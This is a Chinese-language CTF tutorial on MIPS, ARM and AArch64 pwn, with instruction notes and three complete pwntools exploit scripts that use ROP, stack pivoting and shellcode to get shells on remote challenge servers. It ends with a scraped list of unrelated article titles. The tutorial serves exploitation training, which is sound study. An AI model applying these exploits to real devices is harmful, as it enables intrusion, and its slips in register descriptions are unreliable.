mips&arm&aarch64-pwn初探

前言

厌倦了x86/x64 平台下的二进制漏洞利用,来看看mips/arm平台下的pwn是如何达到利用的。众所周知,mips/arm架构cpu主要用于嵌入式设备,比如路由器这些。当我们在x86/x64平台练习到一定境界后,再去探索一个新的平台下的漏洞利用,我们可以借鉴以前的方法,总之,思想都是一样的。只不过是指令的样子不同而已。

MIPS架构的pwn

mips、mipsel的区别

mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。指令的用法是差不多的。

Pwn中需要重点了解的Mips指令

传参方式

用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。

函数返回值

一般用$v0~$v1寄存器传递。v也就是value的缩写。

跳转指令

j指令跳转到某个标签处,单纯的jmp

jr指令用于跳转到寄存器里的地址值指向的地方。

jal 跳转时,会将返回地址存入$ra寄存器。

jalr 与jal指令类似,只不过后面的对象为寄存器。

$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra。

内存读取指令

sw register,addr指令,sw即store word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处。

lw register,addr指令,lw即load word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。

寻址

la指令,相当于x86的lea

lai指令,i的意思是immediate立即数,即后面的对象为立即数。

la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0

例题

安洵杯axb_2019_mips

首先,最开始依然是检查程序的保护机制,发现所有保护都没开。

qemu-mipsel运行,提示缺少库,最快速的解决方法是下载现成的库,省去自己编译。Mipsel的uclibc库在这里https://github.com/MonkeyJacky/mipsel-linux-uclibc

然后,我们使用-L加载库,就可以运行了

接下来,我们用IDA分析一下程序,vuln函数里存在栈溢出。IDA不能查看mips的伪代码,我们可以用ghidra工具来查看。

由于代码过于简单,我们可以直接看到漏洞。$fp寄存器可以理解为x86下的ebp。由于题目没有给我们uclibc的版本,因此,我们泄露函数地址后,也很难确定system这些函数的地址。但是想到本题没有开NX保护,于是,我们可以ret2shellcode。但是,我们还不知道栈地址。由于没有开启PIE,因此我们可以先rop调用read向bss段输入shellcode,然后栈迁移到bss段。

寻找gadgets

仍然使用ROPgadget工具来找,然后,我们找一下能够控制a0~a3寄存器的gadgets,发现,最多可以自由控制$a0寄存器。这意味着我们可以执行带一个参数的函数。如果题目给了我们uclibc,那么可以很容易利用rop,构造system(“/bin/sh”)。但是,题目没有给我们uclibc。想要控制read的3个参数,在mips下没有那么轻松。或许我们可以ret2text。

$fp寄存器的值,在我们溢出后函数结束时,就会被栈里的值覆盖,因此,$fp可控,从而$v0可控,从而$a1可控。而$a0、$a2也在代码里控制住了。因此,我们让$a1指向bss段,从而可以向bss段输入shellcode。当read结束后, move    $sp, $fp指令会使得栈发生迁移,我们在bss段的shellcode前面放置shellcode的地址,,这样shellcode的地址就会被放入到$ra寄存器,进而可以ret到shellcode。

调试

用IDA的远程gdb调试,qemu加-g设置端口。

完整exp

#coding:utf8
from pwn import *
#由于不知道uclibc版本,所以,我们利用栈迁移,在bss段布下shellcode执行即可#sh = process(argv=['qemu-mipsel','-g','6666','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
#sh = process(argv=['qemu-mipsel','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
sh = remote('node3.buuoj.cn',27820)bss = 0x410B70
text_read = 0x4007E0
sh.sendafter("What's your name:","haivk")shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#ret2shellcode
payload = 'a'*0x20
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)sh.send(payload)sleep(1)
payload = 'a'*0x24
#ra
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
sh.send(payload)sh.interactive()

ARM架构的pwn

掌握了mips的pwn利用方法后,arm是类似的。

ARM和AARCH64

ARM是32位架构,AARCH64是64位架构。

Pwn中需要重点了解的AARCH64指令

传参方式

用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。

函数返回值

W0、X1、X2寄存器用于前3个参数,其他的可以自行写一个c语言程序编译后反汇编观察。

跳转指令

X29寄存器作用相当于x64的rbp,X30寄存器用于保存返回地址,当执行RET指令时,会将X30的值赋值给PC寄存器。PC寄存器即x64的rsp。

b指令跳转到某个标签处,单纯的jmp

BL指令用于跳转,并且会将返回地址保存在X30寄存器中。然后函数开头一般就会将这两个寄存器的值保存到栈里。

LDP X29, X30, [SP+var_s0],#0x10;RET 指令,相当于x64的pop rbp; ret。

内存读取指令

str register,addr指令,st即store的缩写,将register寄存器里的值写入到addr地址处。

ldr register,addr指令,ld即load dword的缩写,读取addr处的数据,放入register寄存器。

LDP register1, register2,addr ,从addr读取两个dword,分别存入register1、register2。

STP register1, register2,addr ,将register1、register2的值依次存入addr处。

寻址

ADRP  X0, #label@PAGE指令,将label所处的页的基地址存入X0。

接下来

ADD   X0, X0, #label@PAGEOFF指令,偏移加上基地址,得到label的地址。

栈布局

假设,我们有这样的一个程序,

void fun() {
        char buf[0x20];
}
int main() {
        fun();
}

当我们进入fun函数时,栈的布局是这样的

数据

所有者

X29 value

fun

X30 value

fun

buf

fun

X29 value

main

X30 value

main

也就是说,函数的rbp和rip不再保存到栈底,而是栈顶!!

因此,栈溢出,修改的是调用者函数的X29和X30。

列题

shanghai2018_baby_arm

首先,检查一下程序的保护机制

然后,我们用IDA分析一下程序

很明显的栈溢出漏洞

默认导入了mprotect,所以我们可以利用ROP绕过NX保护,然后ret2shellcode。

x64下的ret2csu方法仍然可以用

完整exp

#coding:utf8
from pwn import *#sh = process(argv=['qemu-aarch64','-g','6666','-L','/home/sea/arm_pwn/aarch64-libs','./baby_arm'])
#sh = process(argv=['qemu-aarch64','-L','/home/sea/arm_pwn/aarch64-libs','./baby_arm'])sh = remote('node3.buuoj.cn',28102)
elf = ELF('./baby_arm')
mprotect_plt = elf.plt['mprotect']
'''
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET
'''
csu_ldr = 0x4008CC
csu_call = 0x4008ACshellcode = asm(shellcraft.aarch64.linux.sh(),arch='aarch64')payload = p64(mprotect_plt) + shellcode
sh.sendafter('Name:',payload)
shellcode_addr = 0x411068 + 8sleep(1)
payload = 'a'*0x48 + p64(csu_ldr)
payload += p64(0) #X29
payload += p64(csu_call) #X30payload += p64(0) + p64(1) #X19, X20
payload += p64(shellcode_addr-8) #X21,,protect的plt指针
payload += p64(0x1000007) #X22
payload += p64(len(shellcode)) #X23
payload += p64(shellcode_addr) #X24
#ret2shellcode
payload += p64(0) #X29
payload += p64(shellcode_addr) #x30sh.send(payload)
sh.interactive()

调试

用IDA的远程gdb调试,qemu加-g设置端口。

ARMEABI

前面介绍了arm 64位架构,armeabi是32架构,指令也类似,只不过它的栈布局与常规的一样,R11和PC的值保存在栈底。R11充当ebp,PC充当RIP。LDMFD   SP!, {R11,PC}指令即相当于pop ebp;ret的作用。

例题

inctf2018_wARMup

首先,检查一下程序的保护机制

需要注意的是,这里显示arm的NX enabled可能不可靠,通过验证发现堆栈仍然可以执行。因此,我们遇到了arm应该先尝试看看是否堆栈可执行。

然后,我们用IDA分析一下,发现一个栈溢出漏洞,但是,我们溢出的尺度不大。因此执行不了太多gadgets。

寻找gadgets

Arm通过R0、R1、R3、R4传递前4个参数,其余的可以自行调试观察。最开始是想到利用puts来泄露,因此,我们需要控制R0寄存器。但是发现找不到一条合适的gadget,因为溢出尺度不大,所以没有找到合适的gadget能够控制R0。因此,尝试ret2shellcode的方法,由于栈地址我们是不知道的,所以我们需要将shellcode布置到bss段,然后ret过去。因此,我们需要调用read函数,但是read函数有三个参数,也不好控制,因此,采用与mips_pwn例题一样的方法,ret2text。

其中,R3我们能够找到合适的gadget来控制,因此buf可控,我们就能在bss段布置shellcode。Read结束后,结尾这里会进行栈迁移,因此,我们在shellcode前面放置shellcode的地址,这样就能ret到shellcode里。

这里的利用方法似乎与前面介绍的mips的例题一模一样,只是指令不一样罢了。

完整exp

#coding:utf8
from pwn import *#虽然checksec显示NX保护开启,但是可能不准确,调试发现堆栈可以执行
#sh = process(argv=['qemu-arm','-g','6666','-L','/home/sea/arm_pwn/arm-libs','./wARMup'])
sh = process(argv=['qemu-arm','-L','/home/sea/arm_pwn/arm-libs','./wARMup'])sh = remote('node3.buuoj.cn',28774)main_read = 0x00010530
bss = 0x00021034
#pop {r3, pc}
pop_r3_pc = 0x00010364payload = 'a'*0x64
#r11
payload += p32(bss + 0x300)
payload += p32(pop_r3_pc)
payload += p32(bss + 0x300)
#调用main函数里的read先bss短输入新的rop,然后栈迁移到bss段
payload += p32(main_read)
sh.sendafter('Welcome to bi0s CTF!',payload)sleep(1)
#raw_input()
shellcode = asm(shellcraft.arm.linux.sh(),arch='arm')
sh.send(p32(bss + 0x300 + 4) + shellcode)sh.interactive()

总结

要学会灵活运用,掌握的是利用的思想,至于平台不同,只是外表的样子看起来不同罢了,思想都是那样,因此,在漏洞挖掘的路上,要学会举一反三。

mipsarmaarch64-pwn初探相关推荐

  1. arm b bl 地址无关码_32位和64位下的arm_pwn初探

    32位和64位下的arm_pwn初探 前言: pwn的学习之路一直在进行,今天看了arm_pwn,搞环境就搞了半天,琢磨工具使用到做题,这里总结下,希望能帮助到大家,少走一点弯路,后期有机会继续更新. ...

  2. 物联网安全拔“牙”实战——低功耗蓝牙(BLE)初探

    唐朝实验室 · 2015/10/30 10:22 Author: FengGou 0x00 目录 0x00 目录 0x01 前言 0x02 BLE概述 BLE 协议栈总览 GAP-通用访问规范 GAT ...

  3. 2021年大数据Flink(九):Flink原理初探

    Flink原理初探 Flink角色分工 在实际生产中,Flink 都是以集群在运行,在运行的过程中包含了两类进程. JobManager: 它扮演的是集群管理者的角色,负责调度任务.协调 checkp ...

  4. 从壹开始微服务 [ DDD ] 之一 ║ D3模式设计初探 与 我的计划书

    缘起 哈喽大家周四好!又是开心的一天,时间过的真快,我们的 <从壹开始 .net core 2.1 + vue 2.5 >前后端分离系列共 34 篇已经完结了,当然以后肯定还会有更新和修改 ...

  5. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  6. 经典算法研究系列:二、Dijkstra 算法初探

    经典算法研究系列:二.Dijkstra 算法初探  July   二零一一年一月 ====================== 本文主要参考:算法导论 第二版.维基百科. 写的不好之处,还望见谅. 本 ...

  7. las格式测井曲线_邹榕,等:顺北和托甫台区块奥陶系断裂结构单元测井响应特征初探...

    引用格式:邹榕,徐中祥,张晓明,等.顺北和托甫台区块奥陶系断裂结构单测井响应特征初探[J].油气藏评价与开发,2020,10(2):18-23.ZOUR, XU Z X, ZHANG X M, et ...

  8. 2018-4-15摘录笔记,《网络表征学习前沿与实践》 崔鹏以及《网络表征学习中的基本问题初探》 王啸 崔鹏 朱文武

    1.来源:<网络表征学习前沿与实践>  崔鹏 (1)随着数据的增加以及计算机计算速度的增加,想当然的以为速度快了,数据再多也是可以自己算的,但是若是数据之间存在着复杂的关系,那么处理一个样 ...

  9. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

最新文章

  1. python可以用break作为变量名_Python初体验(一)—【配置环境变量】【变量】【input】【条件语句】【循环语句】...
  2. 如何用python画出中国地图-用Python画中国地图(二)
  3. Python入门二(1)
  4. P7 计算机的性能指标
  5. 为什么Domain controller上的time synchronization非常重要?
  6. 打包指令_DD19A电动热熔打包机,更换易损件方法
  7. 开源的恶果,程序员正在「自掘坟墓」
  8. 2009年下半年信息系统项目管理师上午试题分析与解答文档
  9. Dynamic ReLU论文解读
  10. Java 字符串分割陷阱
  11. 这个NLP工具,玩得根本停不下来
  12. pwn环境搭建_pwndbg、pwntools环境搭建(Unix系统)
  13. webpack钩子调用shell笔记
  14. vscode无法打开源文件iostream_C++的iostream标准库介绍(1)
  15. oracle 10g分区表,oracle10g-11gR2 分区表汇总一
  16. S/4 HANA中的数据库锁策略
  17. simulink中积分环节、惯性环节、比例环节
  18. Twitter群推王:推特全方位营销利器
  19. 节点操作之父子节点和下拉框
  20. ncbi查找目的基因序列_如何查找目标基因序列?掌握这几招就够了!(NCBI篇)...

热门文章

  1. 怎么做三站合一网站?如何制作电脑网站,手机网站,微网站?
  2. Net程序员学用Oracle系列(1):导航目录
  3. plotly保存HTML文件
  4. 美国全力打击币圈 “一套花式组合拳”,打得从业者透不过气
  5. 公共计算机管理办法,办公电脑管理办法
  6. 服务器转移系统,服务器迁移系统
  7. MySQL 到 DM DB 达梦数据库实时数据同步实操分享
  8. matlab GUI设置背景图及添加logo
  9. 贵州培训python
  10. 数字逻辑·时序线路设计【原始状态表】